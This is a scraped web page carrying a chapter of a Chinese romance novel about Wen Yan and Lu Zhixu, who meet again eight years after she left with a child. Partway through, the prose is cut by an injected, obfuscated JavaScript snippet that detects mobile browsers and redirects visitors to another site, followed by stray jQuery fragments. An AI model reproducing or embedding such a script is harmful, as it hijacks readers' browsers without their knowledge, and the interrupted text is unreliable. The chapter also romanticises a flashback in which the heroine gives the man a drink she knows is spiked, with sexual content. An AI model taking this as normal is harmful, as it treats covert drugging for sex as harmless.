默认冷灰
24号文字
方正启体

7. 玫瑰藏盛夏

作者:屿岚烟本书字数:K更新时间:
    他的气息很轻,自上而下漫过来,分明是温热的,却搀着雪松一样冷寂的味道。


    羽毛似的,柔柔拂过温言发烫的脸颊。


    这么多年过去了,她还是不能镇定自若地面对陆知序这张脸。


    可真是没出息。


    温言别开头去,咬着唇不愿再说话了。


    她也不知自己该说些什么。


    她怕陆知序追问,问她八年前的离开是为什么。


    更怕他不问。


    怎么都不对,索性闭嘴。


    包厢没有开灯,一片昏暗中,那束偷偷吻她侧脸的夕阳,是唯一神迹。


    被夕阳眷顾着的那一点儿,营营扰扰发起烫,痒刺刺地让人难受。


    嵌金的橘红色泼洒开来,漂亮的小姑娘要融化在里头似的。


    陆知序的黑眸温吞地吃着她。


    她漂亮的眼睫眨一眨,就像春光里振翅欲飞的蝶。


    纤细白皙的颈项又似世间最优雅的天鹅——很适合被握住。


    像曾经被他爱怜而热忱地握住那样。


    陆知序手指蜷了蜷,喉结难以名状地上下滚动。


    瞧瞧,连他身体的一部分,都清晰记得她曾属于他的每一分,每一秒。


    那这八年呢?这漂亮的颈项,有被别人握住过吗?


    她也曾在别人的指间,红着眼啜泣着求饶,一叠声绵软地喊——“daddy”吗?


    有的。


    当然是有的。


    不然怎么会有那个长得像她的小男孩儿。


    陆知序倏地闭上眼,绵长而沉稳的呼吸,可喉咙里嗜血的渴意又不管不顾翻涌上来。


    挡也挡不住。


    温言被圈在他的怀里,他身上渡来的熟悉气息很像情人缠绵的拥抱。


    但他们早就不是能拥抱的关系。


    她瞳孔微微发颤,无助地靠在椅背之上,她每怯懦退缩一分,他便张扬进攻一寸,直到将她彻底锁在双臂之间。


    这样亲密的距离。


    无数个曾经的夜晚她跨坐在他的腿上,也是这样的距离。


    他咬着她的耳垂,慢声哄。


    哄她喊人,哄她叫他的名字,他则回以夸奖。


    ……


    身体比情感更诚实地优先回想起面前这人带给过她的快乐。


    温言半边身子都软了。


    他却闭着眼戏弄她。


    “我对你的企图,需要我身体力行证明给你看吗?”


    温言混乱地移开眼,却触到他亮黑色皮带上。她略瑟缩了一下,好似被烫着似的,如同烟火在她眼前绽放开来。


    绚烂让她一阵阵地晕眩。


    陆知序恰在此时睁开眼。


    他的眼不知为何也红了。


    顺着她的视线下落,无数个荒唐的画面电光火石般闪念而过。


    他们无比默契地想起从前,那些她被皮带温柔缚住的画面。


    温言恨这不合时宜的默契。


    陆知序衔着笑的嗓音果然响起来:“难道温小姐对我,多少也有一点儿企图?”


    温言怔忪。


    思绪有一瞬间被带回那一年的盛夏。


    怎么会没有企图呢?


    面前这人,温和疏离,好看得像古希腊神话里的神祇,将她从阴暗逼仄,潮湿闷热的旧世界里带出来,逃开那样的家庭,又给了她崭新的一切。


    她承认,她从一开始就很想和他发生点什么。


    这个危险的念头自十五岁那年初遇便在温言脑海中生根、发芽,直至十八岁夏天,贪心将它彻底催发成参天大树。


    高考庆功宴上,陆淮交给她看好的那杯酒,温言很清楚里面放着什么。


    那是陆淮用来和当时的女朋友助兴用的。


    陆淮说得很明白。


    事实上温言也很清楚自己是怎样端着酒,不回头地走到陆知序面前,撒娇蛮缠着哄她的“小叔叔”喝下的。


    是了,那时她费尽心机进入陆家,借着自己可怜的身世成功当上了陆淮的家教,才终于能正大光明跟着陆淮喊陆知序一声“小叔叔”。


    他们是如此禁忌的关系。


    温言很清楚地知道自己打开了潘多拉的魔盒。


    可对此她心甘情愿。


    因为这就是她明明白白,想要坦承在太阳底下的企图。


    她那长达三年晦涩阴暗的暗恋,终于可以在成人后的某一天,由她穿着最漂亮的白色连衣裙,将自己伪装成洁白无辜的,盛开在阳光下的小雏菊,半逼迫地让自己得到面前这个男人。


    温言会一直记得那个夜晚,也永远记得后来陆知序一遍又一遍嗓音发颤的对不起。


    “对不起,好姑娘。”


    “对不起,温言。”


    “对不起,宝贝。”


    他觉得自己是个禽兽。


    温言从他眼里的懊悔、愧疚、痛苦,和分明的情欲知晓了全部。


    疼痛带来眼泪,逼着温言脸色发白,被汗濡湿的发涔涔的贴在她的脸颊。


    温言知道自己瞧起来一定是脆弱的,被摧残的模样。


    可温言从不觉得陆知序有什么好对不起她的。


    ——那分明是十八岁的她,得到了自己想要的。


    只是此刻,二十六岁的温言,不再想要了而已。


    她的眼神逐渐澄明过来。


    陆知序却似乎比她更快清醒,他收回手,放开对她的桎梏。


    “无论温小姐有什么企图,都不重要。”陆知序看着她的眼睛,温声道,“今天邀请你来,不过是因为——算命先生说我流年不利,需要认个干儿子。”


    “替你挡灾?”温言一愣,因这理由过于荒唐而辨不清真假。


    陆知序挑了挑眉:“不挡灾,属相相和,小朋友算我的贵人。”


    温言被气笑了:“什么狗屁算命先生,微信推过来我问问呢!你是本命年,要找也不该找温衡这个属相的。”


    “难为温小姐还记得我是本命年。”陆知序似笑非笑。


    温言:……


    真该让岳琴看看,什么才叫毒舌鼻祖,阴阳怪气的大家。


    “傻子,你被骗了。”温言笃定道,说着划开手机,“陆先生要是信这个,我给你推个塔罗师,这些年我御用的,便宜好用,童叟无欺。想知道什么都能替您算算。至于温衡,您就别打他主意了。”


    “原来叫温衡。”陆知序点点头,嗓音清疏,“真是个不错的名字。他父亲取的?”


    温言下意识:“当然是我取的……”


    见他一脸恍然的模样,温言险些咬着舌头,急忙改口道:“总之,谁取的都和你没关系,你别想做半分对他不好的事。”


    “唔,这位能替市政府选址的大师多少也有几分本事。”


    “大师说我得找个小孩儿,男的,最好是国外回来的——温衡几岁来着?要落户上小学了对吗?所以大师也说了,还得是今年七岁的小男孩儿。双赢,对我和小朋友都好。”


    陆知序噙着笑,语气说不出的诚恳:“你瞧,我身边看了一圈,除了温衡,再没别人了。”


    “温小姐打算什么时候让我们父子俩见一面?”


    温言握着手机,被这番荒唐言语惊得眼睛圆溜溜的。


    她不可置信地开口:“陆知序,你、你,你到底什么时候变得这么无耻了?”


    “不多,不过学了温小姐三成。”


    温言又被他慢条斯理轻飘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281384|166832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    飘一句话气得自闭。


    拎起包要走。


    包厢阖上之前,回过头来,掷地有声:“没我同意之前,你不准见温衡,不然我跟你拼命。”


    陆知序隐在黑暗里,看着她的背影失笑。


    总算将小姑娘的壳撬开点儿了,他想。


    说不清什么情绪。


    温言走后,陆知序一直没动,慢慢等着空气里她的气息一点点淡了去。


    正像过去很多个傍晚他做的那样。


    直等到那束落日在房间内一点点偏移,桌上的菜逐渐失了热气儿。


    陆知序终于打破沉默,哑声喊:“一白。”


    李一白从包厢外进来,怀里抱着一沓资料。


    “查得怎么样了?”


    李一白:“还是只能找到读博期间的资料,不过这些年,温小姐一直是未婚状态。”


    陆知序手指垂在桌面,轻轻敲响,良久,问:“那年我们去英国,见到的那位是?”


    “沈隽。沪圈那边做港运的沈家次子,和温小姐是研究生时期的同学,比温小姐早几年回国。听说已经在接手家族生意了。”


    李一白将怀里资料递过去。


    陆知序没接。


    “她读博前的资料呢,尤其是温衡刚出生那几年。”


    李一白脸上浮现出为难的神色:“查不到,像被谁遮掩了。那几年我们一直以为温小姐在别的国家,错过的时间太久,够抹去很多痕迹了。”


    “叫陆淮来。”


    “找过了,关机不理人,好像是跟着迟风少爷去巴黎看秀了。”


    陆知序冷了嗓音,像六月骤然飞起的雪。


    “把陆淮卡停了。”他说。


    李一白颔首应是,背上没来由惊出点儿汗。


    -


    温言到家的时候,温衡已经自己吃完饭了,正坐在沙发上看中央六台放的《龙猫》。


    小短腿规规矩矩垂在沙发边,偶尔晃一晃,都很克制。


    见到温言回来,温衡乖巧地打招呼:“妈咪,你今晚过得还好吗?”


    温言心里酸酸涩涩的疼。


    她走过去,将温衡抱了个满怀,胡乱揉着他的碎发。


    温衡并不挣扎,任由她揉搓。


    他很喜欢妈咪时不时的毒手。


    这是她宣泄情绪的方式,这么多年,温衡已经很懂得了。


    于是他等温言停下手,才安安静静地问:“妈咪,你不高兴吗?”


    电视上正演到爸爸夸小梅找到森林主人那一段。


    小梅的眼里都是欣喜,丝毫没有跑丢的自觉。她的爸爸也没有生气,反而一直在夸小梅。


    温言看着温衡,温衡保持着在她怀里的姿势,目不转睛看电视。


    这一幕让她鼻头有些酸,陆知序的脸鬼使神差在眼前闪过。


    她迟疑了一会儿,还是问温衡:“温小衡,或许,你会想要个干爹吗?”


    温衡立刻睁大了眼。


    而后漂亮的瞳孔又一点点缩回去,他终于舍得偏过头看温言:“你是指哪种干爹?”


    “就是能陪妈妈一起参加你学校家长会,在妈妈忙的时候可以送你去兴趣班——不上也行,你一个人时可以叫他来家里陪你画画的那种干爹。”


    温衡眼睛亮了些,小星星似的眨着。


    这是他开心时的表现。


    温言几乎以为他立刻就要答应了。


    可是温衡只是想了想,又慢吞吞问:“那干爹和妈咪是什么关系呢?是会讨妈咪喜欢的那种干爹吗?”


    温言眼眶在一瞬间变得通红。


    老天爷,她怎么可以欠温衡那么多。


    看看她的十八岁,到底都犯了些什么错。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)